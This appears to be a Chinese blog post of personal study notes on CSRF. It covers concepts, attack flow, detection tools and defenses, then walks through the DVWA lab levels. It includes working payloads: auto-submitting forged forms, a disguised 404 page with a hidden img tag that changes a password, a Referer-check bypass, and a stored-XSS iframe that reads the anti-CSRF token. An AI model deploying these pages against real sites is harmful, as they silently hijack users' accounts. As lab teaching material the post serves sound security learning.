0x00 前言

闲来无事,开启了CSRF漏洞的学习之旅。并记录一下学习笔记!

0x01 CSRF漏洞简介

对web客户端的攻击,除了XSS以外,还有一个非常重要的漏洞就是CSRF。
CSRF最关键的是利用受害者的Cookie向服务器发送伪造请求。
1.CSRF漏洞概念
CSRF(Cross-site request forgery,跨站请求伪造),也被称为“One Click Attack”或Session Riding,通常缩写为CSRF或者XSRF,是基于客户端操作的请求伪造,是一种对网站的恶意利用。
2.CSRF与XSS的区别
CSRF听起来像跨站脚本攻击(XSS),但与XSS不同。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
什么意思呢?我的理解就是:
XSS利用的是用户对指定网站的信任,CSRF利用是网站对用户浏览器的信任。
3.CSRF漏洞原理
学习过程中,参考了一下大师傅的博客,发现CSRF原理可以分为狭义的CSRF和广义的CSRF

  • 狭义的CSRF:是指在攻击者已经将代码植入受害用户的浏览器访问的页面的前提下,以“受害用户”的身份向服务端发起一个伪造的http请求,从而实现服务器CURD来执行读写操作。
  • 广义的CSRF:
    就是攻击者将一个http接口中需要传递的所有参数都预测出来,然后不管以什么方式,都可以来任意调用你的接口,对服务器实现CURD

4.CSRF攻击流程

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站bA;
  2. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  3. 用户未退出网站A之前,在同一浏览器中,打开一个标签页访问恶意网站B;
  4. 恶意网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求访问第三方站点A;
  5. 浏览器在接收到这些攻击性代码后,根据恶意网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自恶意网站B的恶意代码被执行。

5.CSRF攻击实现的条件

  • 登录受信任站点WebA,并在本地生成Cookie。
  • 在不登出WebA的情况下,访问站点WebB。

0x02 常见CSRF攻击类型

常见CSRF攻击类型有:GET型CSRF、POST型CSRF
下面使用必火团队的CSRF在线靶场进行验证。靶场地址
GET型
仅需要一个HTTP请求。就能够构造一次简单的CSRF。

银行站点,正常GET请求来完毕银行转账给admin的10元操作:
http://www.nanhack.com/payload/xss/csrf1.php?name=admin&money=10
恶意攻击者页面:http://www.nanhack.com/payload/xss/csrf1.php
访问恶意攻击者页面产生CSRF请求:
http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000

用户登录了银行站点,然后访问恶意攻击者页面,这时qwzf的银行账户少了1000。

原因:银行站点A违反了HTTP规范,使用GET请求更新资源。
用户在访问恶意攻击者页面之前,已经登录了银行站点,而攻击者页面中的 一个合法的请求,但这里被不法分子利用了。
浏览器会带上银行站点的Cookie发出Get请求,去获取资源以GET的方式请求第三方资源(这里的第三方就是指银行站点了,这里是http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000 ,结果银行站点服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立马进行转账操作。从而qwzf的银行账户转账给zsm账户1000元。
直接构造CSRF链接,隐蔽性太低。于是可以采用标签等方法进行隐藏。
4种GET型CSRF构造方式

  1. 链接利用(a标签)
  2. iframe利用
    可以设置iframe的style为display:none,以此来不显示iframe加载的内容
  3. img标签利用
    img标签内的内容会随着页面加载而被请求,以此src指向的位置会在页面加载过程中进行请求
  4. background利用
    可以利用CSS中background样式中的url来加载远程机器上的内容,从而对url中的内容发送HTTP请求

POST型
危害没有GET型的大,利用通常使用的是一个自动提交的表单。如:

<form name="csrf" action="http://edu.xss.tv/payload/xss/csrf2.php" method="post">
    <input type="hidden" name="name" value="zhangsan">
    <input type="hidden" name="money" value="1000">
</form>
<script type="text/javascript">document.csrf.submit();</script>

访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作。

0x03 CSRF漏洞探测

利用自动化探测工具CSRFTester或者burp自带CSRF POC
1.CSRFTester设置浏览器代理:127.0.0.1:8008,burp是8080
2.登录web应用程序,提交表单,在CSRF工具中修改表单内容,查看是否更改,如果更改就存在CSRF漏洞
3.生成CSRF的POC
参考:Web安全Day3 - CSRF实战攻防

0x04 CSRF漏洞防御

  • 设置和判断cookie时采用hash值认证。
  • 尽量采用post类型传参,这就减少了请求被直接伪造的可能。
  • 验证HTTP Referer字段
  • 在 HTTP 头中自定义属性并验证
  • 在请求地址中添加token并验证
  • 采用验证码判断,进行防御。

0x05 DVWA靶场CSRF练习

首先,先登录DVWA,以在浏览器上保存Cookie信息。用户名:admin 密码:password

1、Low级

查看下源码(这里只写一些关键代码):

<?php   
if (isset($_GET['Change'])) {
    //获取两次密码输入
    $pass_new = $_GET['password_new'];   
    $pass_conf = $_GET['password_conf'];
    if (($pass_new == $pass_conf)){   
        $pass_new = mysql_real_escape_string($pass_new); //过滤字符串
        $pass_new = md5($pass_new);
        $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";   
        $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );        
        echo "<pre> Password Changed </pre>";           
        mysql_close();   
    } 
    else{           
        echo "<pre> Passwords did not match. </pre>";               
    } 
}   
?>

首先获取输入的两个密码然后判断两个值是否相等,若相等则接着对pass_new变量进行调用mysql_real_escape_string()函数来进行字符串的过滤、再调用md5()函数对输入的密码进行MD5加密,最后再将新密码更新到数据库中。整段代码因为调用了mysql_real_escape_string()函数从而有效地过滤了SQL注入,但是对CSRF没有任何的防御机制。(当然服务器对请求的发送者是做了身份验证的,检查Cookie,只是这里代码没有体现)
漏洞利用
正常修改密码:

http://192.168.1.3/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

(1)直接构造链接

http://192.168.1.3/DVWA/vulnerabilities/csrf/?password_new=qwzf&password_conf=qwzf&Change=Change#

当受害者点击这个链接,他的密码就会被改成qwzf(这种构造一眼就能看出来是改密码,隐蔽性太低)

(2)使用短链接来隐藏URL
生成短链接常用网址:
站长工具
百度短网址

点击短链接,会自动跳转到真实网站。在实际攻击场景下只要目标服务器的域名不是ip,并且是远程服务器。
(3)构造攻击页面
通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,然后在公网上传下面这个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里我写一个qwzf.html:

<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<img src="http://192.168.1.3/DVWA/vulnerabilities/csrf/?password_new=qwzf&password_conf=qwzf&Change=Change#" border="0" style="display:none;"/>
<p>The requested URL /qwzf.html was not found on this server.</p>
</body>
</html>

当用户访问test.html时,会误认为是自己访问一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了qwzf。

2、Medium级

查看源码发现,比Low级多了个if判断

if( isset( $_GET[ 'Change' ] ) ) { 
    // Checks to see where the request came from 
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {

eregi(string pattern, string string)
检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
同时可以看到,Medium级的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.1.3),希望通过这种机制抵御CSRF攻击。
漏洞利用
将之前qwzf.html攻击页面命名为192.168.1.3.html,然后放置在攻击者的服务器里,这里是http://39.x.93.165:8080/

Referer参数绕过过滤规则

密码被修改为了qwzf

3、High级

查看源码发现,比Low级多了随机token

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    ......
}
// Generate Anti-CSRF token 
generateSessionToken();

High级的代码加入了Anti-CSRF token机制,即用户每次访问改密页面时,服务器会返回一个随机的token
向服务器发起请求时,需要提交token参数。
而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

暴力破解可以突破CSRF Token
原因:构造HTTP请求的对象不一样。暴力破解,攻击者是当前用户,受害者是其他用户。CSRF攻击者是其他用户,受害者是当前用户。
漏洞利用
绕过反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
可不可以在自己的恶意页面中运行js脚本而取得目标页面的token呢?当然是不可以,浏览器普遍对跨域请求资源有访问控制。对于需要验证的资源,跨域请求会被拒绝。
但是如果同时存在存储xss漏洞的话,可进行csrf利用。
(1)首先我们需要先获取用户token,由于现在都已经不支持跨域请求访问了,所以只能从别的地方入手获取token,查看大师傅博客,发现可以利用下面的脚本在XSS(Stored)的Name参数进行XSS攻击,获取用户token:

<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>



(2)然后将下面的脚本构造攻击页面放到攻击服务器上,诱导用户点击,从而实现攻击

<script type="text/javascript">
    function attack()
    {
        document.getElementById("transfer").submit();
    }
</script>
<body οnlοad="attack()">
    <form method="GET" id="transfer" action="http://192.168.1.3/dvwa/vulnerabilities/csrf">
        <input type="hidden" name="password_new" value="qwzf">
        <input type="hidden" name="password_conf" value="qwzf">
        <input type='hidden' name='user_token' value="8519d07c0e08e8ef0461311e9a880af5">
        <input type="hidden" name="Change" value="Change">
    </form>
</body>


另外high级还有一种大师傅发现的方法,参考大师傅博客:
DVWA 1.10 High等级的CSRF另类通关法

0x06后记

通过学习CSRF漏洞,感觉Web安全竟如此有趣,继续加油!!!

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖